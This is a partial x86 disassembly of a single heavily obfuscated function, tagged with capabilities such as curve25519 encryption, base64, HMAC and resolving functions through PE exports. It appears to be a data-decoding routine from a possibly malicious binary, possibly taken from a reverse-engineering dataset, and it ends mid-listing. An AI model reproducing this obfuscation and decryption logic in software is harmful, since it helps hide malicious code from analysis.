Function at 0x433320
Capabilities:
Authenticate hmac
Encode data using base64
Encrypt data using curve25519
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x64
cmp dword [0x4765b8], 0
jne 0x443972
mov dx, word [0x4749c0]
mov ax, dx
xor ax, 0xffff
and ax, 0xced1
mov si, dx
and si, 0x312e
or ax, si
xor ax, 0x312e
and ax, 0x3881
mov si, dx
add si, 1
xor dx, 0xffff
or dx, 0xc77e
add dx, si
mov si, ax
and si, dx
xor ax, dx
or si, ax
mov word [0x474bc0], si
mov ax, word [0x4749c2]
mov dx, ax
xor dx, 0xffff
and dx, 0x6aee
and ax, 0x9511
or dx, ax
xor dx, 0x2c46
mov word [0x474bc2], dx
mov ax, word [0x4749c4]
mov dx, ax
and dx, 0xc43a
shl dx, 1
add ax, 0xc43a
sub ax, dx
mov word [0x474bc4], ax
mov dx, word [str._xx_]
mov ax, dx
xor ax, 0xffff
and ax, 0x795f
and dx, 0x86a0
and ax, ax
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474bc6], ax
mov ax, word [0x4749c8]
mov dx, ax
xor dx, 0xffff
and dx, 0x5a7d
and ax, 0xa582
or dx, ax
mov word [0x474bc8], dx
mov ax, word [0x4749ca]
xor ax, 0x30b7
mov word [0x474bca], ax
mov ax, word [0x4749cc]
mov dx, ax
xor dx, 0xd257
xor dx, 0xffff
and dx, 0xd257
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add dx, 0x2da8
add dx, 1
sub ax, 0xa2cb
sub ax, dx
add ax, 0xa2cb
mov word [0x474bcc], ax
mov ax, word [0x4749ce]
mov dx, ax
xor dx, 0xffff
and dx, 0x7ac2
and ax, 0x853d
or dx, ax
mov word [0x474bce], dx
mov ax, word [0x4749d0]
mov dx, ax
xor dx, 0xffff
and dx, 0xc2bc
and ax, 0x3d43
or dx, ax
mov word [0x474bd0], dx
mov dx, word [0x4749d2]
mov ax, dx
xor ax, 0xffff
and ax, 0xc8f2
mov si, dx
xor si, 0xffff
or si, 0xc8f2
xor dx, 0xffff
or dx, 0xc8f2
and si, dx
xor si, 0xffff
or ax, si
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0xb77b
and ax, 0xb77b
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x474bd2], dx
mov ax, word [0x4749d4]
mov dx, ax
xor dx, 0xf4ce
xor dx, 0xffff
and dx, 0xf4ce
shl dx, 1
sub dx, 0xf4ce
sub ax, dx
mov word [0x474bd4], ax
mov dx, word [0x4749d6]
mov si, dx
xor si, 0xffff
mov ax, si
and ax, 0xc225
xor ax, 0xffff
xor si, 0xffff
or si, 0x3dda
xor ax, 0xffff
xor si, 0xffff
or ax, si
and dx, 0x3dda
mov si, dx
xor si, 0xffff
mov di, ax
and di, si
mov si, ax
xor si, dx
add ax, si
sub ax, di
mov word [0x474bd6], ax
mov ax, word [0x4749d8]
mov dx, ax
xor dx, 0xffff
and dx, 0x9a7c
and ax, 0x6583
or dx, ax
mov word [0x474bd8], dx
mov dx, word [0x4749da]
mov ax, dx
xor ax, 0xffff
and ax, 0x966c
and dx, 0x6993
or ax, dx
mov dx, ax
xor dx, 0x577c
xor dx, 0xffff
and dx, 0x577c
shl dx, 1
sub dx, 0x577c
sub ax, dx
mov word [0x474bda], ax
mov ax, word [0x4749dc]
xor ax, 0x8dee
mov word [0x474bdc], ax
mov ax, word [str._a_S]
xor ax, 0xc30b
mov word [0x474bde], ax
mov ax, word [0x4749e0]
mov dx, ax
xor dx, 0x20ad
xor dx, 0xffff
and dx, 0x20ad
shl dx, 1
sub dx, 0x20ad
sub ax, dx
mov word [0x474be0], ax
mov ax, word [0x4749e2]
xor ax, 0x125e
mov word [0x474be2], ax
mov ax, word [0x4749e4]
xor ax, 0xba79
mov word [0x474be4], ax
mov ax, word [0x4749e6]
mov dx, ax
xor dx, dx
xor dx, 0xffff
mov si, ax
or si, si
and si, dx
mov dx, si
xor dx, 0xffff
and dx, 0x441b
and si, 0xbbe4
or dx, si
xor dx, 0xbbe4
and dx, 0xdb9e
xor dx, 0xffff
and ax, 0x2461
xor ax, 0xffff
xor ax, 0xffff
mov si, dx
xor si, ax
and si, dx
xor si, 0xffff
and si, 0xffff
or si, 0
mov word [0x474be6], si
mov ax, word [0x4749e8]
mov dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov si, ax
xor si, 0xffff
and si, 0x5a47
mov di, ax
and di, 0xa5b8
or si, di
xor si, 0xa5b8
or dx, si
xor dx, 0xffff
or dx, 0xbf41
and ax, 0xbf41
mov si, ax
and si, 0xffff
shl si, 1
add ax, 0xffff
sub ax, si
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
xor ax, 0xffff
or si, ax
mov word [0x474be8], si
mov ax, word [0x4749ea]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
mov di, ax
xor di, 0xffff
mov si, dx
xor si, 0xffff
mov bx, di
xor bx, 0xffff
or si, bx
xor dx, 0xffff
xor di, 0xffff
or dx, di
and si, dx
xor si, 0xffff
mov di, si
xor di, 0xffff
mov dx, di
and dx, 0xe1b7
and si, 0x1e48
or dx, si
xor dx, 0xc6c9
or di, 0xd881
xor di, 0xffff
and di, 0xffff
or dx, di
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x277e
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x474bea], dx
mov dx, word [0x4749ec]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x9f7d
xor ax, 0xffff
and ax, 0xffff
and dx, 0x9f7d
or ax, dx
xor ax, 0xbf8d
mov word [0x474bec], ax
mov dx, word [0x4749ee]
mov ax, dx
xor ax, 0xffff
and ax, 0x623a
mov si, dx
and si, 0x9dc5
or ax, si
xor ax, 0x9dc5
xor ax, 0xffff
or ax, 0x857c
xor ax, 0xffff
and ax, 0xffff
and dx, 0x857c
or ax, dx
xor ax, 0x6c9c
mov word [0x474bee], ax
mov ax, word [0x4749f0]
mov dx, ax
and dx, 0x78ab
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add ax, 0x78ab
sub ax, 0x87ec
sub ax, dx
add ax, 0x87ec
mov word [0x474bf0], ax
mov ax, word [0x4749f2]
mov dx, ax
xor dx, 0x7424
xor dx, 0xffff
and dx, 0x7424
shl dx, 1
sub dx, 0x7424
sub ax, dx
mov word [0x474bf2], ax
mov ax, word [0x4749f4]
mov dx, ax
xor dx, 0xffff
and dx, 0xe2e
and ax, 0xf1d1
or dx, ax
xor dx, 0xb5c7
mov word [0x474bf4], dx
mov ax, word [0x4749f6]
mov dx, ax
and dx, 0xfca0
shl dx, 1
add ax, 0xfca0
sub ax, dx
mov word [0x474bf6], ax
mov ax, word [0x4749f8]
mov dx, ax
and dx, 0xb727
shl dx, 1
mov si, ax
and si, 0xb727
shl si, 1
xor ax, 0xb727
add ax, si
mov si, ax
xor si, 0xffff
and si, dx
xor dx, 0xffff
and ax, dx
sub ax, si
mov word [0x474bf8], ax
mov ax, word [0x4749fa]
xor ax, 0xbb4c
mov word [0x474bfa], ax
mov ax, word [0x4749fc]
xor ax, 0x8914
mov word [0x474bfc], ax
mov ax, word [0x4749fe]
mov dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xbe45
mov si, ax
xor si, 0x41ba
xor si, 0xffff
or ax, 0x41ba
and ax, si
or dx, ax
mov word [0x474bfe], dx
mov ax, word [0x474a00]
xor ax, 0x953
mov word [0x474c00], ax
mov ax, word [0x474a02]
mov dx, ax
xor dx, 0xffff
and dx, 0x63f1
and ax, 0x9c0e
or dx, ax
mov word [0x474c02], dx
mov ax, word [0x474a04]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov si, ax
sub si, dx
and si, 0x116b
and ax, 0xee94
or si, ax
mov word [0x474c04], si
mov dx, word [0x474a06]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0x6e8e
or dx, 0x6e8e
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x474c06], ax
mov ax, word [0x474a08]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov si, ax
sub si, dx
and si, 0x6e3d
and ax, 0x91c2
or si, ax
xor si, 0x28b5
mov word [0x474c08], si
mov dx, word [0x474a0a]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x3de6
and dx, 0x3de6
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474c0a], ax
mov ax, word [0x474a0c]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
mov di, ax
xor di, 0xffff
or si, di
xor si, 0xffff
or si, 0
and si, 0xffff
xor si, 0xffff
and dx, si
mov si, dx
and si, 0x4f12
xor dx, 0x4f12
or si, dx
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and si, 0x4f12
or ax, 0xb0ed
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
and si, ax
xor si, 0xffff
xor dx, 0xffff
and si, si
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
xor si, 0xffff
or si, 0
and dx, si
mov word [0x474c0c], dx
mov ax, word [0x474a0e]
xor ax, 0xbf00
mov word [0x474c0e], ax
mov ax, word [0x474a10]
xor ax, 0x3004
mov word [0x474c10], ax
mov ax, word [0x474a12]
mov dx, ax
xor dx, 0x6276
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
and dx, 0x6276
mov di, dx
and di, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub dx, 0x6276
sub ax, dx
mov word [0x474c12], ax
mov ax, word [0x474a14]
mov dx, ax
xor dx, 0xffff
and dx, 0x4577
xor ax, 0xffff
or ax, 0x4577
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x474c14], dx
mov ax, word [0x474a16]
xor ax, 0x1f54
mov word [0x474c16], ax
mov ax, word [0x474a18]
xor ax, 0xec51
mov word [0x474c18], ax
mov ax, word [0x474a1a]
mov dx, ax
xor dx, 0xffff
and dx, 0xff74
and ax, 0x8b
or dx, ax
mov word [0x474c1a], dx
mov ax, word [0x474a1c]
xor ax, 0x7f17
mov word [0x474c1c], ax
mov ax, word [0x474a1e]
mov dx, ax
xor dx, 0x1740
xor dx, 0xffff
and dx, 0x1740
shl dx, 1
sub dx, 0x1740
sub ax, dx
mov word [0x474c1e], ax
mov ax, word [str.Aa_]
mov dx, ax
add dx, 1
mov si, ax
xor si, 0xffff
or si, 0x4068
add si, dx
shl si, 1
sub ax, 0xbf98
sub ax, si
mov word [0x474c20], ax
mov ax, word [0x474a22]
mov dx, ax
xor dx, 0xffff
and dx, 0xa4cb
and ax, 0x5b34
or dx, ax
mov word [0x474c22], dx
mov ax, word [0x474a24]
xor ax, 0x7a72
mov word [0x474c24], ax
mov ax, word [0x474a26]
mov dx, ax
xor dx, 0xf631
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xf631
shl dx, 1
sub dx, 0xf631
sub ax, dx
mov word [0x474c26], ax
mov ax, word [0x474a28]
mov dx, ax
and dx, 0x4bc7
shl dx, 1
add ax, 0x4bc7
sub ax, dx
mov word [0x474c28], ax
mov ax, word [0x474a2a]
mov dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x45a0
xor ax, 0xffff
or ax, 0xba5f
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474c2a], dx
mov ax, word [0x474a2c]
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
mov si, ax
sub si, dx
and si, 0xca51
and ax, 0x35ae
mov dx, si
and dx, ax
xor si, ax
or dx, si
mov word [0x474c2c], dx
mov ax, word [0x474a2e]
mov si, ax
xor si, 0xffff
and si, 0x5e37
and ax, 0xa1c8
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
and ax, ax
xor ax, 0xffff
and dx, ax
xor dx, 0xffff
mov word [0x474c2e], dx
mov ax, word [0x474a30]
xor ax, 0x16ef
mov word [0x474c30], ax
mov dx, word [0x474a32]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
and ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0x9f70
and ax, 0x9f70
mov si, dx
xor si, 0xffff
or si, 0x9f70
and dx, 0x608f
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
or ax, si
xor ax, 0x69e5
mov word [0x474c32], ax
mov ax, word [0x474a34]
xor ax, 0xeafe
mov word [0x474c34], ax
mov ax, word [0x474a36]
mov dx, ax
and dx, 0xc0e9
shl dx, 1
add ax, 0xc0e9
sub ax, dx
mov word [0x474c36], ax
mov ax, word [0x474a38]
xor ax, 0x8b53
mov word [0x474c38], ax
mov ax, word [0x474a3a]
xor ax, 0x5f91
mov word [0x474c3a], ax
mov dx, word [0x474a3c]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0xf98
and dx, 0xf067
mov si, ax
and si, dx
xor ax, dx
or si, ax
xor si, 0x6c21
mov word [0x474c3c], si
mov dx, word [0x474a3e]
mov ax, dx
xor ax, 0xffff
or ax, 0x57db
xor ax, 0xffff
and ax, 0xffff
mov si, ax
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, ax
and di, 2
or ax, 2
imul ax, di
add ax, si
xor esi, esi
sub si, dx
add si, 0x57dc
xor edx, edx
sub dx, si
mov si, dx
xor si, ax
xor ax, 0xffff
and dx, ax
shl dx, 1
sub dx, si
mov word [0x474c3e], dx
mov ax, word [0x474a40]
mov dx, ax
xor dx, 0xffff
and dx, 0x4bf
mov si, ax
and si, 0xfb40
or dx, si
xor dx, 0x7176
xor dx, 0xffff
and dx, 0x75c9
shl dx, 1
sub dx, 0x75c9
add ax, 0x1235
sub ax, dx
sub ax, 0x1235
mov word [0x474c40], ax
mov ax, word [0x474a42]
xor ax, 0x6be3
mov word [0x474c42], ax
mov ax, word [0x474a44]
xor ax, 0xecfa
mov word [0x474c44], ax
mov dx, word [0x474a46]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x2bf5
xor ax, 0xffff
and ax, 0xffff
or dx, 0xd40a
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov dx, ax
xor dx, 0xffff
and dx, 0xaf96
and ax, 0x5069
or dx, ax
xor dx, 0x5069
mov word [0x474c46], dx
mov dx, word [0x474a48]
mov ax, dx
xor ax, 0xffff
and ax, 0xf4b2
and dx, 0xb4d
or ax, dx
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x1d70
xor ax, 0xffff
and ax, 0xe28f
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x474c48], dx
mov ax, word [0x474a4a]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0xfa0
xor dx, 0xffff
and ax, 0xf05f
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474c4a], dx
mov ax, word [0x474a4c]
mov dx, ax
xor dx, 0xffff
and dx, 0x4857
mov si, ax
and si, 0xb7a8
or dx, si
xor dx, 0xffff
and dx, 0x4857
mov si, dx
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
sub dx, 0x4857
sub ax, dx
mov word [0x474c4c], ax
mov ax, word [0x474a4e]
xor ax, 0xbb6c
mov word [0x474c4e], ax
mov ax, word [0x474a50]
mov dx, ax
xor dx, 0x3232
xor dx, 0xffff
and dx, 0x3232
shl dx, 1
sub dx, 0x3232
sub ax, dx
mov word [0x474c50], ax
mov dx, word [0x474a52]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and ax, si
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
mov si, dx
xor si, 0xffff
and ax, si
xor ax, 0xffff
mov si, ax
add si, 1
xor ax, 0xffff
or ax, 0xf0c2
add ax, si
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
or dx, 0xf0c2
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
mov si, ax
add si, 1
xor ax, 0xffff
or ax, dx
add ax, si
mov word [0x474c52], ax
mov ax, word [0x474a54]
xor ax, 0x8dbd
mov word [0x474c54], ax
mov ax, word [0x474a56]
xor ax, 0xed8d
mov word [0x474c56], ax
mov ax, word [0x474a58]
xor ax, 0x8974
mov word [0x474c58], ax
mov ax, word [0x474a5a]
xor ax, 0x2f7e
mov word [0x474c5a], ax
mov dx, word [0x474a5c]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0xbdaa
and ax, 0xbdaa
mov si, dx
xor si, 0xbdaa
and si, dx
or ax, si
mov word [0x474c5c], ax
mov ax, word [0x474a5e]
xor ax, 0xf288
mov word [0x474c5e], ax
mov ax, word [0x474a60]
xor ax, 0xb996
mov word [0x474c60], ax
mov ax, word [0x474a62]
mov dx, ax
xor dx, 0x7049
xor dx, 0xffff
and dx, 0x7049
shl dx, 1
sub dx, 0x7049
sub ax, dx
mov word [0x474c62], ax
mov ax, word [0x474a64]
xor ax, 0xb4c7
mov word [0x474c64], ax
mov ax, word [0x474a66]
mov dx, ax
and dx, dx
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
xor dx, 0xffff
or dx, 0x1008
xor ax, 0xffff
or ax, 0xeff7
mov si, dx
and si, 0xffff
shl si, 1
add dx, 0xffff
sub dx, si
xor ax, 0xffff
or dx, ax
mov word [0x474c66], dx
mov dx, word [0x474a68]
mov ax, dx
xor ax, 0xffff
mov si, dx
xor si, 0xffff
or ax, si
xor ax, 0xffff
or ax, 0xa840
xor dx, 0xffff
or dx, 0x57bf
and ax, dx
xor ax, 0xffff
mov word [0x474c68], ax
mov ax, word [0x474a6a]
mov dx, ax
and dx, 0xb
shl dx, 1
mov si, ax
and si, 0xb
shl si, 1
xor ax, 0xb
add ax, si
mov si, ax
xor si, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, si
mov word [0x474c6a], ax
mov dx, word [0x474a6c]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0xa34d
xor ax, 0xffff
and ax, 0xffff
and dx, 0xa34d
mov si, ax
or si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
xor si, 0xffff
xor ax, 0xffff
and si, ax
mov word [0x474c6c], si
mov dx, word [0x474a6e]
mov ax, dx
xor ax, 0xffff
or ax, 0xc19b
add ax, 0x3e65
mov si, dx
xor si, 0x3e64
and si, dx
or ax, si
mov dx, ax
xor dx, 0xffff
and dx, 0xc348
and ax, 0x3cb7
or dx, ax
mov word [0x474c6e], dx
mov ax, word [0x474a70]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0x7b31
and ax, 0x7b31
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [str.NSu], dx
mov ax, word [0x474a72]
mov dx, ax
xor dx, 0xffff
mov si, ax
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0x6880
mov si, ax
xor si, 0xffff
and si, 0x977f
xor dx, 0xffff
xor si, 0xffff
and dx, si
xor dx, 0xffff
and dx, 0x6880
mov si, dx
xor si, 0xffff
mov di, si
and di, 2
or si, 2
xor si, 0xffff
imul si, di
mov di, dx
and di, 2
or dx, 2
imul dx, di
add dx, si
add dx, 0xd5aa
sub dx, 0x6880
sub dx, 0xd5aa
sub ax, dx
mov word [0x474c72], ax
mov ax, word [0x474a74]
mov dx, ax
xor dx, 0x2f5a
xor dx, 0xffff
and dx, 0x2f5a
shl dx, 1
sub dx, 0x2f5a
sub ax, dx
mov word [0x474c74], ax
mov dx, word [0x474a76]
mov ax, dx
xor ax, 0xffff
mov si, dx
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
or ax, si
xor ax, 0xffff
mov si, ax
and si, 0x3f0f
mov di, ax
xor di, 0xc0f0
add ax, di
sub ax, si
xor dx, 0xffff
or dx, 0x3f0f
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
or ax, si
mov word [0x474c76], ax
mov ax, word [0x474a78]
xor ax, 0x58e
mov word [0x474c78], ax
mov bx, word [0x474a7a]
mov word [ebp - 0xe], bx
mov si, bx
xor si, 0xffff
mov ax, bx
xor ax, 0xffff
mov dx, si
and dx, 0xf42d
and bx, 0xbd2
mov di, ax
and di, 0xf42d
mov dword [ebp - 0x70], ecx
mov cx, word [ebp - 0xe]
and cx, 0xbd2
or dx, bx
or di, cx
xor dx, di
or si, ax
xor si, 0xffff
and si, 0xffff
or dx, si
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
sub dx, ax
xor dx, 0xffff
mov si, dx
xor si, 0xffff
or si, 0xc490
xor dx, 0xffff
or dx, 0xc490
xor si, 0xffff
xor dx, 0xffff
or si, dx
mov ax, word [ebp - 0xe]
xor ax, 0xffff
and ax, 0xc490
or si, ax
xor si, 0xffff
mov word [0x474c7a], si
mov dx, word [0x474a7c]
mov ax, dx
xor ax, 0xffff
and ax, 0x3a2b
mov cx, dx
and cx, 0xc5d4
or ax, cx
xor ax, 0xc5d4
and ax, 0xd891
and dx, 0x276e
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov word [0x474c7c], ax
mov ax, word [0x474a7e]
mov cx, ax
xor cx, 0xffff
and cx, 0xa786
and ax, 0x5879
or cx, ax
mov word [0x474c7e], cx
mov ax, word [0x474a80]
xor ax, 0x8dad
mov word [0x474c80], ax
mov ax, word [0x474a82]
mov cx, ax
add cx, 1
mov dx, ax
xor dx, 0xffff
or dx, 0xd844
add dx, cx
shl dx, 1
add ax, 0xd844
sub ax, dx
mov word [0x474c82], ax
mov ax, word [0x474a84]
mov cx, ax
and cx, 0xfe15
shl cx, 1
add ax, 0xfe15
sub ax, cx
mov word [0x474c84], ax
mov cx, word [str._H7]
mov ax, cx
and ax, 0xc533
shl ax, 1
xor edx, edx
sub dx, cx
add dx, 0x3acd
xor ecx, ecx
sub cx, dx
sub cx, ax
mov word [0x474c86], cx
mov dx, word [0x474a88]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
and cx, si
or ax, cx
xor ax, 0xffff
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or ax, 0xb66e
xor ax, 0xffff
or dx, 0x4991
xor dx, 0xffff
or ax, dx
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
xor dx, 0xffff
or dx, 0
and dx, 0xffff
xor dx, 0xffff
mov word [0x474c88], dx
mov ax, word [0x474a8a]
mov cx, ax
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0x40dc
xor dx, 0xffff
or ax, ax
xor ax, 0xffff
or ax, 0xbf23
xor ax, 0xffff
or dx, ax
xor dx, 0x7303
mov word [0x474c8a], dx
mov ax, word [0x474a8c]
xor ax, 0xc4f6
mov word [0x474c8c], ax
mov ax, word [0x474a8e]
xor ax, 0x2675
mov word [0x474c8e], ax
mov ax, word [0x474a90]
xor ax, 0xb04c
mov word [0x474c90], ax
mov ax, word [0x474a92]
xor ax, 0x75f
mov word [str.sq_s], ax
mov ax, word [str.GXb_tp]
xor ax, 0x5950
mov word [0x474c94], ax
mov dx, word [0x474a96]
mov cx, dx
xor cx, 0xffff
mov ax, cx
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
or ax, 0xe6a6
xor ax, 0xffff
and dx, 0xe6a6
or ax, dx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x112c
xor dx, 0xffff
and ax, 0xeed3
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x474c96], dx
mov ax, word [0x474a98]
xor ax, 0xbb67
mov word [0x474c98], ax
mov ax, word [0x474a9a]
mov cx, ax
xor cx, 0x3a24
xor cx, 0xffff
and cx, 0x3a24
shl cx, 1
sub cx, 0x3a24
sub ax, cx
mov word [0x474c9a], ax
mov ax, word [0x474a9c]
mov cx, ax
and cx, 0x1f2d
shl cx, 1
add ax, 0x1f2d
sub ax, cx
mov word [0x474c9c], ax
mov ax, word [0x474a9e]
xor ax, 0x1823
mov word [0x474c9e], ax
mov ax, word [0x474aa0]
mov cx, ax
xor cx, 0xcb20
xor cx, 0xffff
mov dx, ax
or dx, 0xcb20
and dx, cx
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0xcb20
sub ax, dx
mov word [0x474ca0], ax
mov ax, word [0x474aa2]
xor ax, 0xf7e
mov word [0x474ca2], ax
mov ax, word [0x474aa4]
mov dx, ax
and dx, 0x8196
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0x7e6a
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x474ca4], ax
mov ax, word [0x474aa6]
mov cx, ax
xor cx, 0xffff
and cx, 0xd835
and ax, 0x27ca
or cx, ax
mov word [0x474ca6], cx
mov ax, word [0x474aa8]
mov cx, ax
xor cx, 0xffff
and cx, 0x2cce
and ax, 0xd331
or cx, ax
xor cx, 0xb1c9
mov word [0x474ca8], cx
mov ax, word [0x474aaa]
xor ax, 0xf322
mov word [0x474caa], ax
mov ax, word [0x474aac]
mov cx, ax
and cx, 0xd624
shl cx, 1
add ax, 0xd624
add ax, 0x1329
sub ax, cx
sub ax, 0x1329
mov word [0x474cac], ax
mov ax, word [0x474aae]
xor ax, 0xa813
mov word [0x474cae], ax
mov ax, word [0x474ab0]
xor ax, 0xdf7e
mov word [0x474cb0], ax
mov ax, word [0x474ab2]
xor ax, 0x4007
mov word [0x474cb2], ax
mov ax, word [0x474ab4]
mov dx, ax
xor dx, 0xffff
and dx, 0x5ba4
mov cx, ax
and cx, 0xa45b
or dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
and dx, 0x5ba4
shl dx, 1
sub dx, 0x5ba4
sub ax, dx
mov word [0x474cb4], ax
mov ax, word [0x474ab6]
mov cx, ax
and cx, 0x1098
shl cx, 1
add ax, 0x1098
sub ax, cx
mov word [0x474cb6], ax
mov ax, word [0x474ab8]
xor ax, 0x966f
mov word [0x474cb8], ax
mov dx, word [0x474aba]
mov ax, dx
and ax, ax
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
mov cx, ax
xor cx, 0x30b1
xor cx, 0xffff
or ax, 0x30b1
and ax, cx
xor ax, 0xffff
and dx, 0xcf4e
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x474cba], ax
mov ax, word [0x474abc]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
and dx, 0x1862
and ax, 0xe79d
or dx, ax
xor dx, 0x9b49
mov word [0x474cbc], dx
mov ax, word [0x474abe]
xor ax, 0x28cf
mov word [0x474cbe], ax
mov si, word [0x474ac0]
mov di, si
xor di, 0xffff
and di, 0xcb4c
and si, 0x34b3
mov ax, di
xor ax, 0xffff
mov bx, si
xor bx, 0xffff
mov dx, ax
and dx, 0x617d
and di, 0x9e82
mov cx, bx
and cx, 0x617d
and si, 0x9e82
or dx, di
or cx, si
xor dx, cx
or ax, bx
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x474cc0], dx
mov cx, word [0x474ac2]
mov ax, cx
xor ax, 0xffff
and ax, 0xd66f
and cx, 0x2990
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x4c95
and ax, 0xb36a
or cx, ax
xor cx, 0x260c
mov word [0x474cc2], cx
mov dx, word [0x474ac4]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov si, dx
or si, si
xor si, 0xffff
